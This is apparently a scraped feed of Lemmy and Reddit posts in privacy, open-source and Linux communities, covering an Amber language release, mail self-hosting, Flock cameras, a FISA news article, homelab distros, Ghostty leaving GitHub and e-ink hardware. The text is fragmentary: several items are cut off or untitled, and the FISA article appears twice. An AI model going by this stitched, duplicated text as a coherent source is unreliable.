Key additions include recursive functions, union types, and public (pub) variables for better modularity.&lt;br/&gt; The language also introduces a built-in testing suite with assert and assert_eq, plus stricter validation for failable functions and variable usage.&lt;br/&gt; Performance gets a boost with native Bash arithmetic for integer operations, reducing dependencies on bc/sed.&lt;br/&gt; New builtins like fetch() for HTTP requests, touch(), rm(), and ls() expand Amber’s capabilities, while the license switch to LGPL makes it more friendly for proprietary projects.&lt;br/&gt; Breaking changes include mandatory parentheses for builtins (e.g., echo(&amp;quot;text&amp;quot;)) and stricter error handling for out-of-bounds array access.&lt;/p&gt; &lt;p&gt;Including Debian/RPM packages, improved CI/CD with nightly builds, and better shellcheck integration. The standard library grows with helpers for filesystem, environment, and text manipulation.&lt;/p&gt; &lt;p&gt;We are still a lot of stuff to do but we are proceeding faster as we are getting more contributors :-D&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Mte90"&gt; /u/Mte90 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://docs.amber-lang.com/getting_started/whats_new"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1szqoyp/amberlang_060_new_release_bash_transpiler/"&gt;[comments]&lt;/a&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</content>

    <title>Self Hosting your mail server, is it plausible?</title>

    <content type="text">submitted by &lt;a href="https://lemmy.ml/u/OppressedBread"&gt;OppressedBread&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;62 points | &lt;a href="https://lemmy.ml/post/46623176"&gt;46 comments&lt;/a&gt;&lt;p&gt;Hello everyone, nice to meet you all.&lt;/p&gt;
&lt;p&gt;This question was probably asked around here but is it really possible to be your own mail provider?&lt;/p&gt;
&lt;p&gt;I think I’m experienced enough when it comes to homelabbing that I could take on something like this.&lt;/p&gt;
&lt;p&gt;I THINK im aware of the technicalities, I did some research but it still begs the question, is it really worth it? would it be hard to build up a reputation so that your emails don’t land in spam folders?&lt;/p&gt;

    <title>Advice needed: Flock cameras at work, an update</title>
    <link rel="alternate" href="https://lemmy.world/post/46226050" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.dbzer0.com/u/west2seven"&gt;west2seven&lt;/a&gt; to &lt;a href="https://lemmy.world/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;89 points | &lt;a href="https://lemmy.world/post/46226050"&gt;6 comments&lt;/a&gt;&lt;p&gt;Thanks to everyone who replied to my prior post on Flock cameras at the entrance to my work.&lt;/p&gt;
&lt;p&gt;I worked some emails to my union asking if I could see any contract between our company and Flock. The request was forwarded to the union president who replied to say that the union doesnt have that information and that they follow corporate policy. He asked if there was a specifc concern that is to be investigated.&lt;/p&gt;
&lt;p&gt;I planned to follow up with the lawsuits section of the consumer rights wiki page on Flock (sorry links not working on my end) and possibly the video by Ben Jordan, although, i am hesitant to include any sensationalized and entertainment focused content as evidence to white collar proffesionals. That wouldnt be very substantial. I am looking for discrete and well documented evidence that the Flock cameras are recording and serving out more than license plate information.&lt;/p&gt;
&lt;p&gt;Does anyone have anything they can share?&lt;/p&gt;

    <title>Trump uses Correspondents’ Dinner shooting to justify expanding spying powers as deadline nears</title>
    <link rel="alternate" href="https://programming.dev/post/49596938" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://literature.cafe/u/cm0002"&gt;cm0002&lt;/a&gt; to &lt;a href="https://programming.dev/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;85 points | &lt;a href="https://programming.dev/post/49596938"&gt;7 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://therealnews.com/trump-uses-correspondents-dinner-shooting-to-justify-expanding-spying-powers-as-deadline-nears"&gt;https://therealnews.com/trump-uses-correspondents-dinner-shooting-to-justify-expanding-spying-powers-as-deadline-nears&lt;/a&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;img src="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Fi0.wp.com%2Ftherealnews.com%2Fwp-content%2Fuploads%2F2021%2F02%2Fcd_stacked_white_600.png%3Fresize%3D600%252C150%26ssl%3D1" alt="Common Dreams Logo" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This story originally appeared in Common Dreams on&lt;/em&gt; &lt;a href="https://www.commondreams.org/news/fisa-surveillance" rel="nofollow"&gt;&lt;em&gt;April 27, 2026&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; &lt;em&gt;It is shared here under a Creative Commons (CC BY-NC-ND 3.0) license.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;An exchange of &lt;a href="https://www.commondreams.org/news/trump-ballroom-white-house-correspondents" rel="nofollow"&gt;gunfire&lt;/a&gt; between an armed suspect and law enforcement outside the &lt;a href="https://www.commondreams.org/tag/white-house" rel="nofollow"&gt;White House&lt;/a&gt; Correspondents’ Dinner on Saturday came days ahead of a deadline for extending far-reaching government surveillance powers, and President &lt;a href="https://www.commondreams.org/tag/donald-trump" rel="nofollow"&gt;Donald Trump&lt;/a&gt; wasted no time in claiming that the attempted attack on the event proved that the &lt;a href="https://www.commondreams.org/tag/fbi" rel="nofollow"&gt;FBI&lt;/a&gt; must be permitted to spy on Americans without obtaining warrants.&lt;/p&gt;
&lt;p&gt;In an interview with Fox News Sunday, Trump repeated his previous remarks that he is “willing to give up [his] security” in favor of extending Section 702 of the Foreign Intelligence Surveillance Act (FISA), which is set to expire on Thursday—and suggested other Americans should do the same for “the safety of our nation.”&lt;/p&gt;
&lt;p&gt;Section 702 allows US intelligence agencies to surveil the electronic communications of foreign nationals overseas without a warrant. Since some of the nearly 350,000 foreign nationals whose communications have been collected under the law are in touch with Americans, Section 702 allows for the collection of emails, text messages, and phone calls of US citizens.&lt;/p&gt;
&lt;p&gt;Fox anchor Jacqui Heinrich emphasized that “we don’t know right now” whether the suspect in Saturday’s shooting, Cole Tomas Allen, “was radicalized” by a foreign individual or group, but asked whether the attack drove home “the importance of having these tools to protect our country from these kinds of threats.”&lt;/p&gt;
&lt;p&gt;The president responded by complaining that former FBI Director &lt;a href="https://www.commondreams.org/tag/james-comey" rel="nofollow"&gt;James Comey&lt;/a&gt; &lt;a href="https://www.cnn.com/2019/12/15/politics/james-comey-ig-report-fisa-applications-carter-page" rel="nofollow"&gt;used&lt;/a&gt; FISA to obtain warrants to surveil a former Trump aide as part of the agency’s investigation into the 2016 Trump presidential campaign’s communications with Russia, before saying FISA has been used in the US-Israeli war on Iran and in the US military’s invasion of &lt;a href="https://www.commondreams.org/tag/venezuela" rel="nofollow"&gt;Venezuela&lt;/a&gt; earlier this year.&lt;/p&gt;
&lt;p&gt;“It’s really needed for national security,” said Trump. “Iran is decimated, and we got a lot of information by using FISA… I’m willing to give up my security for the military because ultimately that’s to me the highest cause is, you know, the safety of our nation.”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pres. Trump, under prodding from Fox News, exploits White House Correspondents’ Dinner shooting to push for Congress to approve FISA domestic spying program: “It’s really needed for national security…”&lt;/p&gt;
&lt;p&gt;He reiterates that he’s willing to give up his liberties for safety. &lt;a href="https://t.co/tmcepp0Wgn" rel="nofollow"&gt;pic.twitter.com/tmcepp0Wgn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Chris Menahan 🇺🇸 (@infolibnews) &lt;a href="https://twitter.com/infolibnews/status/2048425683001434393" rel="nofollow"&gt;April 26, 2026&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Jordan Liz, an associate professor of philosophy at San José State University, &lt;a href="https://www.commondreams.org/opinion/congress-end-spying" rel="nofollow"&gt;wrote&lt;/a&gt; last week in a column at Common Dreams that while Trump, Republican lawmakers, and US intelligence agencies “make sweeping claims about the terror attacks that Section 702 has prevented, there is little publicly available evidence to support this.”&lt;/p&gt;
&lt;p&gt;“According to the Cato Institute, there is only one well-documented, independently corroborated case of Section 702 preventing a terrorist attack on American soil: the 2009 New York subway bombing plot,” wrote Liz. “In that case, Section 702 was used by the [National Security Agency] to track an exchange between an al-Qaeda courier and Najibullah Zazi, who was living in the US. The &lt;a href="https://www.commondreams.org/tag/nsa" rel="nofollow"&gt;NSA&lt;/a&gt; passed this information to the FBI, which identified Zazi and disrupted the attack before it took place. Importantly, however, the NSA allegedly received the courier’s foreign email address from the government’s British intelligence partners. At best then, this success was a byproduct of productive intelligence sharing between allies. Rather than proving the necessity of Section 702, this incident underscores how Trump’s inane attacks against key US allies undermine our national security.”&lt;/p&gt;
&lt;p&gt;The suspect in Saturday’s shooting is believed to have acted alone, and no evidence has been released that he was in communication with any foreign entities. A document he &lt;a href="https://www.nytimes.com/2026/04/26/us/politics/white-house-dinner-shooting-suspect-writings.html" rel="nofollow"&gt;wrote&lt;/a&gt; alluded to his Christian beliefs and to reports of the administration’s abuse of immigrants in detention centers, its boat-bombing operations in the Caribbean Sea and eastern Pacific Ocean, and the bombing of an elementary school in Iran.&lt;/p&gt;
&lt;p&gt;The president has been &lt;a href="https://www.commondreams.org/news/trump-fisa" rel="nofollow"&gt;pushing&lt;/a&gt; in recent weeks for an extension of Section 702. The program was last &lt;a href="https://www.commondreams.org/news/trump-fisa" rel="nofollow"&gt;reauthorized&lt;/a&gt; in 2024, and earlier this month two efforts to extend the program—one for 18 months and the other for five years—failed, with opponents objecting to a lack of &lt;a href="https://www.commondreams.org/tag/privacy" rel="nofollow"&gt;privacy&lt;/a&gt; reforms and to a loophole &lt;a href="https://www.commondreams.org/news/fisa-section-702-2676364670" rel="nofollow"&gt;allowing&lt;/a&gt; data brokers to sell private information about Americans to government agencies that have not obtained judicial approval to seize the data.&lt;/p&gt;
&lt;p&gt;After those &lt;a href="https://www.commondreams.org/news/section-702-surveillance" rel="nofollow"&gt;proposals&lt;/a&gt; failed, House Speaker &lt;a href="https://www.commondreams.org/tag/mike-johnson" rel="nofollow"&gt;Mike Johnson&lt;/a&gt; (R-La.) last week &lt;a href="https://www.commondreams.org/news/section-702-fisa" rel="nofollow"&gt;unveiled&lt;/a&gt; a new bill to extend Section 702 for three years and require the FBI to submit monthly reports on its reviews of Americans’ private data to an oversight official, as well as imposing penalties for abuse—provisions that were dismissed by privacy advocates.&lt;/p&gt;
&lt;p&gt;The House Rules Committee was set to convene on Monday, a step toward advancing the new bill toward a vote in the House, and &lt;a href="https://www.npr.org/2026/04/24/nx-s1-5797964/after-2-failed-votes-mike-johnson-unveils-new-plan-to-extend-key-u-s-spy-powers" rel="nofollow"&gt;according&lt;/a&gt; to &lt;a href="https://www.commondreams.org/tag/npr" rel="nofollow"&gt;NPR&lt;/a&gt;, Rep. &lt;a href="https://www.commondreams.org/tag/jamie-raskin" rel="nofollow"&gt;Jamie Raskin&lt;/a&gt; (D-Md.) circulated a memo late last week urging his colleagues to reject the &lt;a href="https://www.commondreams.org/tag/republicans" rel="nofollow"&gt;Republicans&lt;/a&gt;’ latest proposal.&lt;/p&gt;
&lt;p&gt;The bill, he wrote, “continues the disastrous policy of trusting the FBI to self-police and self-report its abuses of Section 702 and backdoor searches of Americans’ data… FBI agents can still collect, search, and review Americans’ communications without any review from a judge.”&lt;/p&gt;
&lt;p&gt;Four Democrats in the House—Reps. Josh Gottheimer (D-NJ), Tom Suozzi (D-NJ), Marie Gluesencamp Perez (D-Wash.), and Jared Golden (D-Maine)—broke with the party and &lt;a href="https://www.commondreams.org/news/section-702-fisa" rel="nofollow"&gt;joined&lt;/a&gt; the &lt;a href="https://www.commondreams.org/tag/gop" rel="nofollow"&gt;GOP&lt;/a&gt; earlier this month in supporting a procedural vote to advance the reauthorization of Section 702, and privacy advocates are ramping up pressure on them to oppose the latest proposal for an extension.&lt;/p&gt;
&lt;p&gt;“It all comes down to those four and where they are going to land,” Hajar Hammado, a senior policy adviser at Demand Progress, &lt;a href="https://theintercept.com/2026/04/27/four-democrats-fisa-domestic-spying-trump/" rel="nofollow"&gt;told&lt;/a&gt; The Intercept Monday, “and if they are going to continue to try to hand Trump and [White House homeland security adviser] &lt;a href="https://www.commondreams.org/tag/stephen-miller" rel="nofollow"&gt;Stephen Miller&lt;/a&gt; warrantless surveillance authorities without any sort of checks or reforms that make sure they’re not violating civil liberties.”&lt;/p&gt;

&lt;p&gt;An exchange of &lt;a href="https://www.commondreams.org/news/trump-ballroom-white-house-correspondents" rel="nofollow"&gt;gunfire&lt;/a&gt; between an armed suspect and law enforcement outside the &lt;a href="https://www.commondreams.org/tag/white-house" rel="nofollow"&gt;White House&lt;/a&gt; Correspondents’ Dinner on Saturday came days ahead of a deadline for extending far-reaching government surveillance powers, and President &lt;a href="https://www.commondreams.org/tag/donald-trump" rel="nofollow"&gt;Donald Trump&lt;/a&gt; wasted no time in claiming that the attempted attack on the event proved that the &lt;a href="https://www.commondreams.org/tag/fbi" rel="nofollow"&gt;FBI&lt;/a&gt; must be permitted to spy on Americans without obtaining warrants.&lt;/p&gt;
&lt;p&gt;In an interview with Fox News Sunday, Trump repeated his previous remarks that he is “willing to give up [his] security” in favor of extending Section 702 of the Foreign Intelligence Surveillance Act (FISA), which is set to expire on Thursday—and suggested other Americans should do the same for “the safety of our nation.”&lt;/p&gt;
&lt;p&gt;Section 702 allows US intelligence agencies to surveil the electronic communications of foreign nationals overseas without a warrant. Since some of the nearly 350,000 foreign nationals whose communications have been collected under the law are in touch with Americans, Section 702 allows for the collection of emails, text messages, and phone calls of US citizens.&lt;/p&gt;
&lt;p&gt;Fox anchor Jacqui Heinrich emphasized that “we don’t know right now” whether the suspect in Saturday’s shooting, Cole Tomas Allen, “was radicalized” by a foreign individual or group, but asked whether the attack drove home “the importance of having these tools to protect our country from these kinds of threats.”&lt;/p&gt;
&lt;p&gt;The president responded by complaining that former FBI Director &lt;a href="https://www.commondreams.org/tag/james-comey" rel="nofollow"&gt;James Comey&lt;/a&gt; &lt;a href="https://www.cnn.com/2019/12/15/politics/james-comey-ig-report-fisa-applications-carter-page" rel="nofollow"&gt;used&lt;/a&gt; FISA to obtain warrants to surveil a former Trump aide as part of the agency’s investigation into the 2016 Trump presidential campaign’s communications with Russia, before saying FISA has been used in the US-Israeli war on Iran and in the US military’s invasion of &lt;a href="https://www.commondreams.org/tag/venezuela" rel="nofollow"&gt;Venezuela&lt;/a&gt; earlier this year.&lt;/p&gt;
&lt;p&gt;“It’s really needed for national security,” said Trump. “Iran is decimated, and we got a lot of information by using FISA… I’m willing to give up my security for the military because ultimately that’s to me the highest cause is, you know, the safety of our nation.”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pres. Trump, under prodding from Fox News, exploits White House Correspondents’ Dinner shooting to push for Congress to approve FISA domestic spying program: “It’s really needed for national security…”&lt;/p&gt;
&lt;p&gt;He reiterates that he’s willing to give up his liberties for safety. &lt;a href="https://t.co/tmcepp0Wgn" rel="nofollow"&gt;pic.twitter.com/tmcepp0Wgn&lt;/a&gt;&lt;/p&gt;

&lt;/blockquote&gt;
&lt;p&gt;Jordan Liz, an associate professor of philosophy at San José State University, &lt;a href="https://www.commondreams.org/opinion/congress-end-spying" rel="nofollow"&gt;wrote&lt;/a&gt; last week in a column at Common Dreams that while Trump, Republican lawmakers, and US intelligence agencies “make sweeping claims about the terror attacks that Section 702 has prevented, there is little publicly available evidence to support this.”&lt;/p&gt;
&lt;p&gt;“According to the Cato Institute, there is only one well-documented, independently corroborated case of Section 702 preventing a terrorist attack on American soil: the 2009 New York subway bombing plot,” wrote Liz. “In that case, Section 702 was used by the [National Security Agency] to track an exchange between an al-Qaeda courier and Najibullah Zazi, who was living in the US. The &lt;a href="https://www.commondreams.org/tag/nsa" rel="nofollow"&gt;NSA&lt;/a&gt; passed this information to the FBI, which identified Zazi and disrupted the attack before it took place. Importantly, however, the NSA allegedly received the courier’s foreign email address from the government’s British intelligence partners. At best then, this success was a byproduct of productive intelligence sharing between allies. Rather than proving the necessity of Section 702, this incident underscores how Trump’s inane attacks against key US allies undermine our national security.”&lt;/p&gt;
&lt;p&gt;The suspect in Saturday’s shooting is believed to have acted alone, and no evidence has been released that he was in communication with any foreign entities. A document he &lt;a href="https://www.nytimes.com/2026/04/26/us/politics/white-house-dinner-shooting-suspect-writings.html" rel="nofollow"&gt;wrote&lt;/a&gt; alluded to his Christian beliefs and to reports of the administration’s abuse of immigrants in detention centers, its boat-bombing operations in the Caribbean Sea and eastern Pacific Ocean, and the bombing of an elementary school in Iran.&lt;/p&gt;
&lt;p&gt;The president has been &lt;a href="https://www.commondreams.org/news/trump-fisa" rel="nofollow"&gt;pushing&lt;/a&gt; in recent weeks for an extension of Section 702. The program was last &lt;a href="https://www.commondreams.org/news/trump-fisa" rel="nofollow"&gt;reauthorized&lt;/a&gt; in 2024, and earlier this month two efforts to extend the program—one for 18 months and the other for five years—failed, with opponents objecting to a lack of &lt;a href="https://www.commondreams.org/tag/privacy" rel="nofollow"&gt;privacy&lt;/a&gt; reforms and to a loophole &lt;a href="https://www.commondreams.org/news/fisa-section-702-2676364670" rel="nofollow"&gt;allowing&lt;/a&gt; data brokers to sell private information about Americans to government agencies that have not obtained judicial approval to seize the data.&lt;/p&gt;
&lt;p&gt;After those &lt;a href="https://www.commondreams.org/news/section-702-surveillance" rel="nofollow"&gt;proposals&lt;/a&gt; failed, House Speaker &lt;a href="https://www.commondreams.org/tag/mike-johnson" rel="nofollow"&gt;Mike Johnson&lt;/a&gt; (R-La.) last week &lt;a href="https://www.commondreams.org/news/section-702-fisa" rel="nofollow"&gt;unveiled&lt;/a&gt; a new bill to extend Section 702 for three years and require the FBI to submit monthly reports on its reviews of Americans’ private data to an oversight official, as well as imposing penalties for abuse—provisions that were dismissed by privacy advocates.&lt;/p&gt;
&lt;p&gt;The House Rules Committee was set to convene on Monday, a step toward advancing the new bill toward a vote in the House, and &lt;a href="https://www.npr.org/2026/04/24/nx-s1-5797964/after-2-failed-votes-mike-johnson-unveils-new-plan-to-extend-key-u-s-spy-powers" rel="nofollow"&gt;according&lt;/a&gt; to &lt;a href="https://www.commondreams.org/tag/npr" rel="nofollow"&gt;NPR&lt;/a&gt;, Rep. &lt;a href="https://www.commondreams.org/tag/jamie-raskin" rel="nofollow"&gt;Jamie Raskin&lt;/a&gt; (D-Md.) circulated a memo late last week urging his colleagues to reject the &lt;a href="https://www.commondreams.org/tag/republicans" rel="nofollow"&gt;Republicans&lt;/a&gt;’ latest proposal.&lt;/p&gt;
&lt;p&gt;The bill, he wrote, “continues the disastrous policy of trusting the FBI to self-police and self-report its abuses of Section 702 and backdoor searches of Americans’ data… FBI agents can still collect, search, and review Americans’ communications without any review from a judge.”&lt;/p&gt;
&lt;p&gt;Four Democrats in the House—Reps. Josh Gottheimer (D-NJ), Tom Suozzi (D-NJ), Marie Gluesencamp Perez (D-Wash.), and Jared Golden (D-Maine)—broke with the party and &lt;a href="https://www.commondreams.org/news/section-702-fisa" rel="nofollow"&gt;joined&lt;/a&gt; the &lt;a href="https://www.commondreams.org/tag/gop" rel="nofollow"&gt;GOP&lt;/a&gt; earlier this month in supporting a procedural vote to advance the reauthorization of Section 702, and privacy advocates are ramping up pressure on them to oppose the latest proposal for an extension.&lt;/p&gt;
&lt;p&gt;“It all comes down to those four and where they are going to land,” Hajar Hammado, a senior policy adviser at Demand Progress, &lt;a href="https://theintercept.com/2026/04/27/four-democrats-fisa-domestic-spying-trump/" rel="nofollow"&gt;told&lt;/a&gt; The Intercept Monday, “and if they are going to continue to try to hand Trump and [White House homeland security adviser] &lt;a href="https://www.commondreams.org/tag/stephen-miller" rel="nofollow"&gt;Stephen Miller&lt;/a&gt; warrantless surveillance authorities without any sort of checks or reforms that make sure they’re not violating civil liberties.”&lt;/p&gt;

    <title>Moving to Linux, need help about homelab distro</title>
    <link rel="alternate" href="https://lemmy.ml/post/46607811" type="text/html"/>

I’m moving my main PC to linux soon, and for that I have settled on Mint. However, I also plan to build a homelab pc for the first time to selfhost some services, mainly Jellyfinn, some game servers, and possibly next cloud, but I’m unsure which distro to go with for that.&lt;/p&gt;
&lt;p&gt;I have some experience running debian headless (on an orange pi) and I can use ssh and the cli just fine, however, I also want the server pc to (maybe) serve as a moonlight client in my living room, so I was leaning towards something that is not headless, and I am unsure if I should also go with Mint for that or if something else might be more suitable.&lt;/p&gt;

    <title>NetNewsWire Now Getting Feed Images from RSS</title>
    <link rel="alternate" href="https://programming.dev/post/49590118" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://feddit.online/u/cat_fishing"&gt;cat_fishing&lt;/a&gt; to &lt;a href="https://programming.dev/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;8 points | &lt;a href="https://programming.dev/post/49590118"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://netnewswire.blog/2026/04/28/netnewswire-now-getting-feed-images.html"&gt;https://netnewswire.blog/2026/04/28/netnewswire-now-getting-feed-images.html&lt;/a&gt;&lt;p&gt;In NetNewsWire 7.0.5 we made a change to get the feed image from RSS via the image element.&lt;br /&gt;
Weren’t we already doing this? Seems surprising that we weren’t!&lt;br /&gt;
It’s because, historically, these images were often rectangular — but the app wants square images. These days, probably due to the influence of mobile apps, images tend to be square, which is great. It means we can use these.&lt;br /&gt;
Note to feed publishers We suggest checking your feeds to see if they are supplying an image URL.&lt;/p&gt;

    <title>openRuyi — A Linux Distribution for RISC-V</title>
    <link rel="alternate" href="https://lemmy.ml/post/46604532" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.ml/u/JRepin"&gt;JRepin&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/linux"&gt;linux&lt;/a&gt;&lt;br&gt;58 points | &lt;a href="https://lemmy.ml/post/46604532"&gt;3 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://openruyi.cn/"&gt;https://openruyi.cn/&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.ml/post/46604530"&gt;lemmy.ml/post/46604530&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Built for Rapid Upstream Delivery&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rolling releases with upstream tracking bring new RISC-V features and fixes to you sooner—less waiting, less rework.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Built for RISC-V Developers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Stay close to upstream to reduce backports and forks. Easier reproduction, faster debugging, smoother upstream contributions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Built for Early Validation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Surfaces firmware, platform semantics, and Linux interoperability issues early—so vendors fix faster, reduce divergence, and reach mainstream OS compatibility sooner.&lt;/p&gt;

Anti-Forensic Shredder: Overwrites headers with high-entropy noise to defeat forensic tools. Full Management Suite: Sub-folders, instant search, and &amp;quot;Zero-Freeze&amp;quot; background I/O.

    <title>Ghostty Developer Loses Confidence in GitHub's Reliability</title>

&lt;p&gt;Ghostty, a modern GPU-accelerated terminal emulator developed by Mitchell Hashimoto, is transitioning its active development away from GitHub due to ongoing reliability issues that have disrupted daily workflows.&lt;/p&gt;
&lt;p&gt;Hashimoto announced the decision in an emotional post titled “Ghostty Is Leaving GitHub,” stating that the project will gradually eliminate its dependency on GitHub while maintaining the current repository as a read-only mirror. Further details about the new hosting platform will be provided in the coming months, as discussions continue with both commercial and open-source providers.&lt;/p&gt;

I am mostly planning on treating it like a blog of sorts, with a homepage and a list of articles you can access chronologically or by tags or something.&lt;/p&gt; &lt;p&gt;The service I&amp;#39;m using only has the ability to add or edit html/css files, however, and my html skills are woefully out of date.&lt;/p&gt; &lt;p&gt;Is there a FOSS WYSIWYG html/css editor that someone could recommend? Kompozer is apparently almost 20 years discontinued. Others I found seem to require using online, or having an account. Is there not something that I can just download on to my (windows) system, not have to set up a host or server or something, just use, have it output some files, and be able to upload those files?&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Glum-Ingenuity7132"&gt; /u/Glum-Ingenuity7132 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1syupia/wysiwyg_editor_that_outputs_html/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1syupia/wysiwyg_editor_that_outputs_html/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;I’ve been building a few projects over the past 9 months (mostly low-power stuff with e ink display / e paper display / eink display setups), and I kept testing the products of 4 hardware providers trying to figure out what is best for my work&lt;/p&gt; &lt;p&gt;This isn’t sponsored or affiliated with anyone, just sharing what I’ve personally used and what worked (and didn’t) from a maker perspective&lt;/p&gt; &lt;p&gt;Also if you need any help with working on similar projects, feel free to DM me&lt;/p&gt; &lt;p&gt;Figured I’d put this together in case someone else is deciding between options&lt;/p&gt; &lt;h1&gt;1. Soldered&lt;/h1&gt; &lt;p&gt;I’ll start with Soldered because I ended up using them the most for anything related to e paper display projects&lt;/p&gt; &lt;p&gt;Project I used it for: I worked on a battery-powered home dashboard (weather + calendar + notifications) using their Inkplate 10 model&lt;/p&gt; &lt;p&gt;What stood out pretty quickly is that Inkplate isn’t just a raw eink display, it’s more of a complete system with:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;ESP32 already integrated&lt;/li&gt; &lt;li&gt;power management handled&lt;/li&gt; &lt;li&gt;libraries + documentation actually usable&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;What I really liked here is I didn’t have to spend time figuring out how to “make the display work”, bcs I could focus on the actual work&lt;/p&gt; &lt;p&gt;Other things I liked:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;fully &lt;strong&gt;open-source hardware (not just software)&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;Arduino-compatible out of the box&lt;/li&gt; &lt;li&gt;good examples that feel like real use cases&lt;/li&gt; &lt;li&gt;low-power mode that’s actually practical&lt;br/&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h1&gt;2. Waveshare&lt;/h1&gt; &lt;p&gt;I’ve been using their products for almost 5 years now and was never disappointed in this&lt;/p&gt; &lt;p&gt;Project I used it for: I used a Waveshare e ink display for a smaller status screen project, where I wanted more control over the setup and didn’t mind doing the integration myself.&lt;/p&gt; &lt;p&gt;I specifically like this for a status project because:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;huge selection of eink display sizes and variants&lt;/li&gt; &lt;li&gt;widely available and easy to source&lt;/li&gt; &lt;li&gt;works with a lot of platforms (Raspberry Pi, Arduino, etc.)&lt;/li&gt; &lt;li&gt;pretty well-documented for most common use cases&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Still a great option if you want flexibility and don’t mind putting the pieces together yourself&lt;/p&gt; &lt;h1&gt;3. Adafruit&lt;/h1&gt; &lt;p&gt;Adafruit is probably the easiest to work with if you value documentation and polish&lt;/p&gt; &lt;p&gt;Project I used it for: A small eink display status screen for a Raspberry Pi server&lt;/p&gt; &lt;p&gt;What stood out for me here are:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;extremely well-written guides&lt;/li&gt; &lt;li&gt;strong CircuitPython ecosystem&lt;/li&gt; &lt;li&gt;consistent product quality&lt;/li&gt; &lt;li&gt;beginner-friendly but still powerful&lt;/li&gt; &lt;li&gt;good community + examples&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;They offer e paper display / eink display modules, but they’re more component-level&lt;/p&gt; &lt;p&gt;You’ll still do the integration yourself, which is good for learning but takes more time&lt;/p&gt; &lt;h1&gt;4. Seeed Studio&lt;/h1&gt; &lt;p&gt;In my experience, Seeed is more about modular systems, especially with Grove&lt;/p&gt; &lt;p&gt;Project I used it for: A quick environmental monitoring prototype using Grove sensors&lt;/p&gt; &lt;p&gt;What I liked from them:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Grove system&lt;/strong&gt; makes prototyping really fast&lt;/li&gt; &lt;li&gt;wide range of modules&lt;/li&gt; &lt;li&gt;easy to swap and test ideas&lt;/li&gt; &lt;li&gt;decent balance between price and quality&lt;/li&gt; &lt;li&gt;strong manufacturing capabilities&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;They also have &lt;strong&gt;e ink display options&lt;/strong&gt;, but again, more modular&lt;/p&gt; &lt;p&gt;Works well if you like building systems piece by piece&lt;/p&gt; &lt;p&gt;If you have any questions, please let me know&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/mckrile"&gt; /u/mckrile &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1syrytv/my_take_on_the_best_4_opensource_hardware/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1syrytv/my_take_on_the_best_4_opensource_hardware/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

Then I do it again next week after a reboot. What information would a nearby shop or a passive malicious hacker be able to find about my device? Does my device send out identifying information before joining, like a MAC address? Is this persistent, or randomized?&lt;/p&gt;
&lt;p&gt;I intentionally haven’t specified a distro, so if something only applies to some network managers, give some details.&lt;/p&gt;
&lt;p&gt;Bonus points: what about Android phones?&lt;/p&gt;

